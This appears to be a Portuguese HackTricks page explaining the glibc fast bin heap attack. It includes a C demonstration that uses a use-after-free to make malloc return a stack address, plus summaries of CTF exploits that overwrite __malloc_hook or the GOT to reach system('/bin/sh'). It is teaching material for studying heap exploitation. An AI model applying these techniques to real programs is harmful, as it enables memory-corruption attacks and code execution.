mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-18 17:16:10 +00:00
180 lines
12 KiB
Markdown
180 lines
12 KiB
Markdown
# Fast Bin Attack
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Basic Information
|
|
|
|
Para mais informações sobre o que é um fast bin, confira esta página:
|
|
|
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
|
{% endcontent-ref %}
|
|
|
|
Como o fast bin é uma lista encadeada simples, há muito menos proteções do que em outros bins e apenas **modificar um endereço em um chunk de fast bin liberado** é suficiente para poder **alocar depois um chunk em qualquer endereço de memória**.
|
|
|
|
Como resumo:
|
|
|
|
{% code overflow="wrap" %}
|
|
```c
|
|
ptr0 = malloc(0x20);
|
|
ptr1 = malloc(0x20);
|
|
|
|
// Put them in fast bin (suppose tcache is full)
|
|
free(ptr0)
|
|
free(ptr1)
|
|
|
|
// Use-after-free
|
|
// Modify the address where the free chunk of ptr1 is pointing
|
|
*ptr1 = (unsigned long)((char *)&<address>);
|
|
|
|
ptr2 = malloc(0x20); // This will get ptr1
|
|
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
|
|
```
|
|
{% endcode %}
|
|
|
|
Você pode encontrar um exemplo completo em um código muito bem explicado em [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html):
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <stdlib.h>
|
|
|
|
int main(void)
|
|
{
|
|
puts("Today we will be discussing a fastbin attack.");
|
|
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
|
|
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
|
|
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
|
|
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
|
|
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
|
|
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
|
|
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
|
|
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
|
|
|
|
puts("Let's start, we will allocate three chunks of size 0x30\n");
|
|
unsigned long *ptr0, *ptr1, *ptr2;
|
|
|
|
ptr0 = malloc(0x30);
|
|
ptr1 = malloc(0x30);
|
|
ptr2 = malloc(0x30);
|
|
|
|
printf("Chunk 0: %p\n", ptr0);
|
|
printf("Chunk 1: %p\n", ptr1);
|
|
printf("Chunk 2: %p\n\n", ptr2);
|
|
|
|
|
|
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
|
|
|
|
int stackVar = 0x55;
|
|
|
|
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
|
|
|
|
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
|
|
|
|
char *data0 = "00000000";
|
|
char *data1 = "11111111";
|
|
char *data2 = "22222222";
|
|
|
|
memcpy(ptr0, data0, 0x8);
|
|
memcpy(ptr1, data1, 0x8);
|
|
memcpy(ptr2, data2, 0x8);
|
|
|
|
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
|
|
|
|
printf("Chunk 0: %s\n", (char *)ptr0);
|
|
printf("Chunk 1: %s\n", (char *)ptr1);
|
|
printf("Chunk 2: %s\n\n", (char *)ptr2);
|
|
|
|
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
|
|
|
|
free(ptr0);
|
|
free(ptr1);
|
|
free(ptr2);
|
|
|
|
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
|
|
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
|
|
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
|
|
|
|
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
|
|
|
|
|
|
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
|
|
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
|
|
|
|
*ptr1 = (unsigned long)((char *)&stackVar);
|
|
|
|
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
|
|
|
|
|
|
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
|
|
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
|
|
|
|
unsigned long *ptr3, *ptr4, *ptr5;
|
|
|
|
ptr3 = malloc(0x30);
|
|
ptr4 = malloc(0x30);
|
|
ptr5 = malloc(0x30);
|
|
|
|
printf("Chunk 3: %p\n", ptr3);
|
|
printf("Chunk 4: %p\n", ptr4);
|
|
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
|
|
|
|
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Se for possível sobrescrever o valor da variável global **`global_max_fast`** com um número grande, isso permite gerar chunks de fast bin de tamanhos maiores, potencialmente permitindo realizar ataques de fast bin em cenários onde não era possível anteriormente. Essa situação é útil no contexto do [ataque de large bin](large-bin-attack.md) e [ataque de unsorted bin](unsorted-bin-attack.md)
|
|
{% endhint %}
|
|
|
|
## Exemplos
|
|
|
|
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
|
* É possível alocar chunks, liberá-los, ler seu conteúdo e preenchê-los (com uma vulnerabilidade de overflow).
|
|
* **Consolidar chunk para infoleak**: A técnica é basicamente abusar do overflow para criar um `prev_size` falso, de modo que um chunk anterior seja colocado dentro de um maior, assim, ao alocar o maior contendo outro chunk, é possível imprimir seus dados e vazar um endereço para libc (`main_arena+88`).
|
|
* **Sobrescrever malloc hook**: Para isso, e abusando da situação de sobreposição anterior, foi possível ter 2 chunks que apontavam para a mesma memória. Portanto, liberando ambos (liberando outro chunk no meio para evitar proteções) foi possível ter o mesmo chunk no fast bin 2 vezes. Então, foi possível alocá-lo novamente, sobrescrever o endereço do próximo chunk para apontar um pouco antes de `__malloc_hook` (para que aponte para um inteiro que malloc pensa ser um tamanho livre - outro bypass), alocá-lo novamente e então alocar outro chunk que receberá um endereço para malloc hooks.\
|
|
Finalmente, um **one gadget** foi escrito lá.
|
|
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
|
* Há um overflow de heap e uso após liberação e double free porque, quando um chunk é liberado, é possível reutilizar e re-liberar os ponteiros.
|
|
* **Libc info leak**: Basta liberar alguns chunks e eles obterão um ponteiro para uma parte da localização da main arena. Como você pode reutilizar ponteiros liberados, basta ler este endereço.
|
|
* **Ataque de fast bin**: Todos os ponteiros para as alocações são armazenados dentro de um array, então podemos liberar alguns chunks de fast bin e, no último, sobrescrever o endereço para apontar um pouco antes deste array de ponteiros. Então, alocamos alguns chunks com o mesmo tamanho e obteremos primeiro o legítimo e depois o falso contendo o array de ponteiros. Agora podemos sobrescrever esses ponteiros de alocação para fazer o endereço GOT de `free` apontar para `system` e então escrever `"/bin/sh"` no chunk 1 para então chamar `free(chunk1)`, que em vez disso executará `system("/bin/sh")`.
|
|
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
|
* Outro exemplo de abusar de um overflow de um byte para consolidar chunks no unsorted bin e obter um infoleak de libc e então realizar um ataque de fast bin para sobrescrever malloc hook com um endereço de one gadget.
|
|
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
|
|
* Após um infoleak abusando do unsorted bin com um UAF para vazar um endereço de libc e um endereço de PIE, o exploit deste CTF usou um ataque de fast bin para alocar um chunk em um lugar onde os ponteiros para chunks controlados estavam localizados, então foi possível sobrescrever certos ponteiros para escrever um one gadget no GOT.
|
|
* Você pode encontrar um ataque de Fast Bin abusado através de um ataque de unsorted bin:
|
|
* Note que é comum antes de realizar ataques de fast bin abusar das free-lists para vazar endereços de libc/heap (quando necessário).
|
|
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
|
* Podemos apenas alocar chunks de tamanho maior que `0x100`.
|
|
* Sobrescrever `global_max_fast` usando um ataque de Unsorted Bin (funciona 1/16 vezes devido ao ASLR, porque precisamos modificar 12 bits, mas devemos modificar 16 bits).
|
|
* Ataque de Fast Bin para modificar um array global de chunks. Isso fornece uma primitiva de leitura/escrita arbitrária, que permite modificar o GOT e definir algumas funções para apontar para `system`.
|
|
|
|
{% content-ref url="unsorted-bin-attack.md" %}
|
|
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|